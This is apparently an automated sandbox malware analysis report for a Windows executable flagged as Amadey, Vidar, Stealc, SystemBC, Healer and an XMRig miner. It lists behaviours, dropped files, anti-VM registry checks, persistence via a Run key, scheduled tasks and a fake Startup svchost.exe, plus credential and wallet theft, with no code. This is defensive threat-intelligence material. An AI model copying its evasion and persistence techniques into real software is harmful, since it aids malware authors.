Malware Analysis Report

2025-04-03 09:32

Sample ID 250306-fplvhsyydv
Target bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe
SHA256 bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e
Tags
amadey healer stealc systembc vidar 092155 ir7am traff1 credential_access defense_evasion discovery dropper execution persistence spyware stealer trojan xmrig trump miner
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e

Threat Level: Known bad

The file bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe was found to be: Known bad.

Malicious Activity Summary

amadey healer stealc systembc vidar 092155 ir7am traff1 credential_access defense_evasion discovery dropper execution persistence spyware stealer trojan xmrig trump miner

Xmrig family

Healer family

Systembc family

SystemBC

Amadey

Healer

Stealc family

Vidar family

Detects Healer an antivirus disabler dropper

Stealc

Amadey family

Detect Vidar Stealer

xmrig

Vidar

XMRig Miner payload

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Command and Scripting Interpreter: PowerShell

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Uses browser remote debugging

Reads data files stored by FTP clients

Checks BIOS information in registry

Reads user/profile data of web browsers

Checks computer location settings

Executes dropped EXE

Loads dropped DLL

Unsecured Credentials: Credentials In Files

Identifies Wine through registry keys

.NET Reactor proctector

Drops startup file

Reads user/profile data of local email clients

Legitimate hosting services abused for malware hosting/C2

Adds Run key to start application

Checks installed software on the system

Accesses cryptocurrency files/wallets, possible credential harvesting

AutoIT Executable

Suspicious use of SetThreadContext

Enumerates processes with tasklist

Suspicious use of NtSetInformationThreadHideFromDebugger

Drops file in Windows directory

Enumerates physical storage devices

Browser Information Discovery

Unsigned PE

Program crash

System Location Discovery: System Language Discovery

Delays execution with timeout.exe

Modifies system certificate store

Suspicious use of SendNotifyMessage

Checks processor information in registry

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of FindShellTrayWindow

Enumerates system info in registry

Suspicious use of WriteProcessMemory

Scheduled Task/Job: Scheduled Task

Suspicious use of SetWindowsHookEx

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Modifies Internet Explorer settings

Uses Task Scheduler COM API

Modifies data under HKEY_USERS

Kills process with taskkill

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2025-03-06 05:02

Signatures

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2025-03-06 05:02

Reported

2025-03-06 05:05

Platform

win7-20240903-en

Max time kernel

87s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe"

Signatures

Amadey

trojan amadey

Amadey family

amadey

Detect Vidar Stealer

stealer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects Healer an antivirus disabler dropper

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Healer

dropper healer

Healer family

healer

Stealc

stealer stealc

Stealc family

stealc

SystemBC

trojan systembc

Systembc family

systembc

Vidar

stealer vidar

Vidar family

vidar

Identifies VirtualBox via ACPI registry values (likely anti-VM)

defense_evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp2OJOTJENJFPLAHGBTSIMWOJXV90JJYV9.EXE N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\ProgramData\qonfme\qjdkxjv.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A

Uses browser remote debugging

credential_access stealer
Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp2OJOTJENJFPLAHGBTSIMWOJXV90JJYV9.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\ProgramData\qonfme\qjdkxjv.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp2OJOTJENJFPLAHGBTSIMWOJXV90JJYV9.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\ProgramData\qonfme\qjdkxjv.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
N/A N/A C:\ProgramData\qonfme\qjdkxjv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110390101\03aa9b8fea.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp2OJOTJENJFPLAHGBTSIMWOJXV90JJYV9.EXE N/A

Identifies Wine through registry keys

defense_evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine C:\ProgramData\qonfme\qjdkxjv.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp2OJOTJENJFPLAHGBTSIMWOJXV90JJYV9.EXE N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Windows\CurrentVersion\Run\03aa9b8fea.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10110390101\\03aa9b8fea.exe" C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A

Checks installed software on the system

discovery

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\rapes.job C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE N/A
File created C:\Windows\Tasks\Gxtuum.job C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe N/A
File created C:\Windows\Tasks\Test Task17.job C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\ProgramData\qonfme\qjdkxjv.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\10110390101\03aa9b8fea.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
